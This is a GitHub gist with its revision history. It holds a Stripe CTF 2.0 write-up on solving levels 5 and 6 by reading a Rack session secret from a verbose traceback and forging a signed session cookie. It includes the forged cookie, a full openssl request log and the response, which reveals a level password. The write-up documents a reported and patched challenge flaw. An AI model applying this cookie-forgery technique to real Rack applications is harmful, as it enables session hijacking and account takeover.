Skip to content

Instantly share code, notes, and snippets.

@jermenkoo
Forked from klange/vulnerability.md
Created August 26, 2012 22:57
Show Gist options
  • Select an option

  • Save jermenkoo/3484122 to your computer and use it in GitHub Desktop.

Select an option

Save jermenkoo/3484122 to your computer and use it in GitHub Desktop.

Revisions

  1. @klange klange revised this gist Aug 24, 2012. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions vulnerability.md
    Original file line number Diff line number Diff line change
    @@ -1,12 +1,12 @@
    I used a unique method to solve levels 5 and 6 of the Stripe CTF 2.0. While some say "any way that works is the right way", this was definitely not what was expected.
    We used a unique method to solve levels 5 and 6 of the Stripe CTF 2.0. While some say "any way that works is the right way", this was definitely not what was expected (to the point where it was patched for after I sent Stripe this writeup).

    Both of these levels used Rack. Both of them use sessions. And, best of all, both of them have tracebacks enabled.

    There's a pretty big problem with all of these things: Sessions in rack are stored as a ruby hash (a dict, for us Python people) in a cookie with some signatures generated with HMAC. The key used for that is retrieved from a file, and that local file is generated from OpenSSL generating random bytes. Normally, you'd never get to see this key - it's a secret, after all. But those tracebacks are very, very revealing:
    There's a pretty big problem with all of these things: Sessions in rack are stored as a ruby hash (a dict, for us Python people) in a cookie with some signatures generated with HMAC. The key used for that is retrieved from a file, and that local file is generated from OpenSSL generating random bytes. Normally, you'd never get to see this key - it's a secret, after all. But those tracebacks are very, very revealing, as our team discovered late on Wednesday night:

    ![Oh dear](http://i.imgur.com/Nnvdf.png)

    You might be wondering how I got that traceback in the first place, as not everyone was as... annoyingly persistent at throwing random crap into the form fields as my team. We put a space in the pingback. It made a `URI::InvalidURIError`. Fun stuff.
    You might be wondering how we got that traceback in the first place, as not everyone was as... annoyingly persistent at throwing random crap into the form fields as us. We put a space in the pingback. It made a `URI::InvalidURIError`. Fun stuff.

    So, now we have the secret key. We pulled down the source for the server (because it presented a rack environment all set up and ready to go), forced the key in our personal server, and had it set some session values when you went to the login URL.

    @@ -16,7 +16,7 @@ Particularly, I made this cookie on Level 6:

    `rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly`

    Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and thenI requested the page with some hand-crafted HTTP and `openssl s_client -connect level0X-2.stripe-ctf.com:443`. The server obliged.
    Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and then I requested the page with some hand-crafted HTTP and `openssl s_client -connect level0X-2.stripe-ctf.com:443`. The server obliged.

    This bit of hackery works on both level 5 and level 6, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.

  2. @klange klange revised this gist Aug 24, 2012. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion vulnerability.md
    Original file line number Diff line number Diff line change
    @@ -18,7 +18,7 @@ Particularly, I made this cookie on Level 6:

    Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and thenI requested the page with some hand-crafted HTTP and `openssl s_client -connect level0X-2.stripe-ctf.com:443`. The server obliged.

    This bit of hackery works on both level 6 and level 7, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.
    This bit of hackery works on both level 5 and level 6, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.


    **The Stripe guys have informed me that they are patching this vulnerability out, so if you are trying this and it no longer works, that would be why.**
  3. @klange klange revised this gist Aug 23, 2012. 1 changed file with 4 additions and 1 deletion.
    5 changes: 4 additions & 1 deletion vulnerability.md
    Original file line number Diff line number Diff line change
    @@ -18,4 +18,7 @@ Particularly, I made this cookie on Level 6:

    Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and thenI requested the page with some hand-crafted HTTP and `openssl s_client -connect level0X-2.stripe-ctf.com:443`. The server obliged.

    This bit of hackery works on both level 6 and level 7, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.
    This bit of hackery works on both level 6 and level 7, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.


    **The Stripe guys have informed me that they are patching this vulnerability out, so if you are trying this and it no longer works, that would be why.**
  4. @klange klange revised this gist Aug 23, 2012. 1 changed file with 153 additions and 0 deletions.
    153 changes: 153 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,153 @@
    $ openssl s_client -connect level06-2.stripe-ctf.com:443
    CONNECTED(00000003)
    depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
    verify error:num=20:unable to get local issuer certificate
    verify return:0
    ---
    Certificate chain
    0 s:/C=US/ST=California/L=San Francisco/O=Stripe, Inc./OU=Security Department/CN=*.stripe-ctf.com
    i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
    1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
    i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
    2 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
    i:/C=IE/O=Baltimore/OU=CyberTrust/CN=Baltimore CyberTrust Root
    ---
    Server certificate
    -----BEGIN CERTIFICATE-----
    MIIG0zCCBbugAwIBAgIQCsKw7mGk4zJVEEDZIyyaMzANBgkqhkiG9w0BAQUFADBm
    MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
    d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
    ZSBDQS0zMB4XDTEyMDgxMDAwMDAwMFoXDTEzMTAxNjEyMDAwMFowgYoxCzAJBgNV
    BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNp
    c2NvMRUwEwYDVQQKEwxTdHJpcGUsIEluYy4xHDAaBgNVBAsTE1NlY3VyaXR5IERl
    cGFydG1lbnQxGTAXBgNVBAMMECouc3RyaXBlLWN0Zi5jb20wggEiMA0GCSqGSIb3
    DQEBAQUAA4IBDwAwggEKAoIBAQC+gbafWURKZohUsPfD03zFEdrNsBNgEIDMF6wc
    1N24rG4LOHtSECm7HnOuDipXNQO15Dr6tIqJaU+MRCZY0aXRm7tF9VmLIUOa5UP2
    tIcHPidOjgBhsy6EH3H642+XZa9zSeOM36SQvoJKzd+GBQ3c/8AWW3gV1XvEXv/W
    hFq6+EFeWqG5NZOB2U7smlGvWgg4L0OlWrkpPyVeazYfDqfO/4cCokPlSHIFU17t
    rxzKsnEkkgjNV2Qiq1Tg8uZJn98XMjgTQclAXVo5+kV7W1XeBK4kDHVdxrXHzljW
    3oHr+G7c1TZ25X9xMOw/GA5oZtJq3YP+ciD/zFNSeRTGJckpAgMBAAGjggNWMIID
    UjAfBgNVHSMEGDAWgBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zAdBgNVHQ4EFgQUzLli
    oYvjNVF5Eb+FG2ry8LV07wwwKwYDVR0RBCQwIoIQKi5zdHJpcGUtY3RmLmNvbYIO
    c3RyaXBlLWN0Zi5jb20wDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUF
    BwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdp
    Y2VydC5jb20vY2EzLWcxMi5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0
    LmNvbS9jYTMtZzEyLmNybDCCAcQGA1UdIASCAbswggG3MIIBswYJYIZIAYb9bAEB
    MIIBpDA6BggrBgEFBQcCARYuaHR0cDovL3d3dy5kaWdpY2VydC5jb20vc3NsLWNw
    cy1yZXBvc2l0b3J5Lmh0bTCCAWQGCCsGAQUFBwICMIIBVh6CAVIAQQBuAHkAIAB1
    AHMAZQAgAG8AZgAgAHQAaABpAHMAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABj
    AG8AbgBzAHQAaQB0AHUAdABlAHMAIABhAGMAYwBlAHAAdABhAG4AYwBlACAAbwBm
    ACAAdABoAGUAIABEAGkAZwBpAEMAZQByAHQAIABDAFAALwBDAFAAUwAgAGEAbgBk
    ACAAdABoAGUAIABSAGUAbAB5AGkAbgBnACAAUABhAHIAdAB5ACAAQQBnAHIAZQBl
    AG0AZQBuAHQAIAB3AGgAaQBjAGgAIABsAGkAbQBpAHQAIABsAGkAYQBiAGkAbABp
    AHQAeQAgAGEAbgBkACAAYQByAGUAIABpAG4AYwBvAHIAcABvAHIAYQB0AGUAZAAg
    AGgAZQByAGUAaQBuACAAYgB5ACAAcgBlAGYAZQByAGUAbgBjAGUALjB7BggrBgEF
    BQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBF
    BggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0
    SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEF
    BQADggEBAHMVFXo8b3Eh3rJuKETb/N8SXqbatrgl0c+jKES3Ci5npJiW+YagaDbt
    Cd+/ErI9u1PVx+pJpIbusrE2aWqRUfOH5CtJ1v1h3qiiwQRxKNWM1cFju72XtIXs
    D6n93zPf2065cXmGq3ZOyWjWqZJCPAxw0TMLRaCFqP4+wyjDFOeJx+Mc47999X9p
    YHVWNxkfdAFuXgIymaD0ikkRWJa8cFH8MN8uCNlljMDJttdxzZyBYSgMTlGbTtfp
    i2wgc8YvbnB+mTonEMUXagFqf3Xp0MJOHIEvZur8xUG9LQ6qKtutmn1VAK3BnQln
    MLOQT58lptmLzuFdAiYogPy5f7Yq2XY=
    -----END CERTIFICATE-----
    subject=/C=US/ST=California/L=San Francisco/O=Stripe, Inc./OU=Security Department/CN=*.stripe-ctf.com
    issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
    ---
    No client certificate CA names sent
    ---
    SSL handshake has read 5356 bytes and written 372 bytes
    ---
    New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
    Server public key is 2048 bit
    Secure Renegotiation IS NOT supported
    Compression: zlib compression
    Expansion: zlib compression
    SSL-Session:
    Protocol : TLSv1
    Cipher : DHE-RSA-AES256-SHA
    Session-ID: 307AC53B418F6B43FD67ACD53392681594E400E190214D5E0DA17BC866A797B1
    Session-ID-ctx:
    Master-Key: 60C34F60D7395B68BC1C16DF4CEA41767C429434AC47168CD10D31251CF9B2B797822C59AEE1E4C599563E02ACA9A42D
    Key-Arg : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket:
    0000 - 32 3e b3 e9 60 00 49 55-8e 61 77 5b 90 24 f9 df 2>..`.IU.aw[.$..
    0010 - 55 29 e2 9d 91 33 13 3a-f9 f0 68 bd a2 7b 4f de U)...3.:..h..{O.
    0020 - cc b6 ab 32 8d 06 64 45-b9 eb 55 03 77 53 45 10 ...2..dE..U.wSE.
    0030 - 69 08 15 94 55 97 a8 75-b5 9e 8a 8e 48 29 a6 0e i...U..u....H)..
    0040 - 7f 0b 69 a0 61 8f 0b d7-e6 31 88 be b3 d0 a2 88 ..i.a....1......
    0050 - 1a c5 a4 cc a5 31 7d f0-e4 d1 c7 52 17 ac 65 1a .....1}....R..e.
    0060 - 8f c4 ed d0 30 a9 d5 2f-49 47 5b d6 28 63 96 1c ....0../IG[.(c..
    0070 - 96 2f f5 bc 2c 40 65 57-3a 73 02 f8 13 b7 5b 17 ./..,@eW:s....[.
    0080 - 1c 87 3f bb f3 0f e1 cd-3d f3 ff ca ed 6f 13 af ..?.....=....o..
    0090 - c3 e9 02 93 79 a4 36 bc-59 a7 fd 50 35 78 96 0c ....y.6.Y..P5x..
    00a0 - c9 ab d5 d5 d7 a3 da d5-da fe 33 68 39 d0 3f 79 ..........3h9.?y
    00b0 - 3d 8a 57 48 50 32 9b 7b-15 4e dd d1 29 1a 0f 33 =.WHP2.{.N..)..3

    Compression: 1 (zlib compression)
    Start Time: 1345701750
    Timeout : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
    ---
    GET /user-loyjlkmrnc/user_info HTTP/1.0
    Host: level06-2.stripe-ctf.com
    Cookie: rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly

    HTTP/1.1 200 OK
    Date: Thu, 23 Aug 2012 06:02:34 GMT
    Server: Apache/2.2.14 (Ubuntu)
    X-XSS-Protection: 1; mode=block
    X-Frame-Options: sameorigin
    Set-Cookie: rack.session=BAh7CSIJdXNlciIcbGV2ZWwwNy1wYXNzd29yZC1ob2xkZXIiD3Nlc3Npb25f%0AaWQiRWZlMjAzMDQ0YjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2Qx%0ANDcwNzVjNDY0ZGYwMjQyOGJkZDNkMzkiD2NzcmYudG9rZW4iMXJCalpRazdv%0Ab1JaN3BpWDkzUUlFL0toRkdJNzRBS1dIaEZSeWNHUGdZZ1E9Ig10cmFja2lu%0AZ3sIIhlIVFRQX0FDQ0VQVF9MQU5HVUFHRSItZGEzOWEzZWU1ZTZiNGIwZDMy%0ANTViZmVmOTU2MDE4OTBhZmQ4MDcwOSIUSFRUUF9VU0VSX0FHRU5UIi1kYTM5%0AYTNlZTVlNmI0YjBkMzI1NWJmZWY5NTYwMTg5MGFmZDgwNzA5IhlIVFRQX0FD%0AQ0VQVF9FTkNPRElORyItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4%0AOTBhZmQ4MDcwOQ%3D%3D%0A--63b3639dfd3d73934509bbd8bce39e5c18e85031; path=/; HttpOnly
    Content-Length: 981
    Vary: Accept-Encoding
    Connection: close
    Content-Type: text/html;charset=utf-8

    <!doctype html>
    <html>
    <head>
    <title>Streamer</title>
    <script src='/user-loyjlkmrnc/js/jquery-1.8.0.min.js'></script>
    <link rel='stylesheet' type='text/css'
    href='/user-loyjlkmrnc/css/bootstrap-combined.min.css' />
    </head>
    <body>
    <div class='navbar'>
    <div class='navbar-inner'>
    <div class='container'>
    <a class='brand' href='/user-loyjlkmrnc/'>Streamer</a>

    <ul class='nav pull-right'>
    <li><a href='/user-loyjlkmrnc/logout'>Log Out</a></li>
    </ul>

    </div>
    </div>
    </div>
    <div class='container'>

    <div class='row'>
    <div class='span12'>
    <h3>User Information</h3>
    <table class='table table-condensed'>
    <tr>
    <th>Username:</th>
    <td>level07-password-holder</td>
    </tr>
    <tr>
    <th>Password:</th>
    <td>'YFOFFhfyoaVc"</td>
    </tr>
    </table>
    </div>
    </div>

    </div>
    </body>
    </html>
    closed
  5. @klange klange revised this gist Aug 23, 2012. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions vulnerability.md
    Original file line number Diff line number Diff line change
    @@ -10,6 +10,8 @@ You might be wondering how I got that traceback in the first place, as not every

    So, now we have the secret key. We pulled down the source for the server (because it presented a rack environment all set up and ready to go), forced the key in our personal server, and had it set some session values when you went to the login URL.

    ![(img of code overwriting the session_secret)](http://i.imgur.com/j1SFP.png)

    Particularly, I made this cookie on Level 6:

    `rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly`
  6. @invalid-email-address Anonymous created this gist Aug 23, 2012.
    19 changes: 19 additions & 0 deletions vulnerability.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    I used a unique method to solve levels 5 and 6 of the Stripe CTF 2.0. While some say "any way that works is the right way", this was definitely not what was expected.

    Both of these levels used Rack. Both of them use sessions. And, best of all, both of them have tracebacks enabled.

    There's a pretty big problem with all of these things: Sessions in rack are stored as a ruby hash (a dict, for us Python people) in a cookie with some signatures generated with HMAC. The key used for that is retrieved from a file, and that local file is generated from OpenSSL generating random bytes. Normally, you'd never get to see this key - it's a secret, after all. But those tracebacks are very, very revealing:

    ![Oh dear](http://i.imgur.com/Nnvdf.png)

    You might be wondering how I got that traceback in the first place, as not everyone was as... annoyingly persistent at throwing random crap into the form fields as my team. We put a space in the pingback. It made a `URI::InvalidURIError`. Fun stuff.

    So, now we have the secret key. We pulled down the source for the server (because it presented a rack environment all set up and ready to go), forced the key in our personal server, and had it set some session values when you went to the login URL.

    Particularly, I made this cookie on Level 6:

    `rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly`

    Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and thenI requested the page with some hand-crafted HTTP and `openssl s_client -connect level0X-2.stripe-ctf.com:443`. The server obliged.

    This bit of hackery works on both level 6 and level 7, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.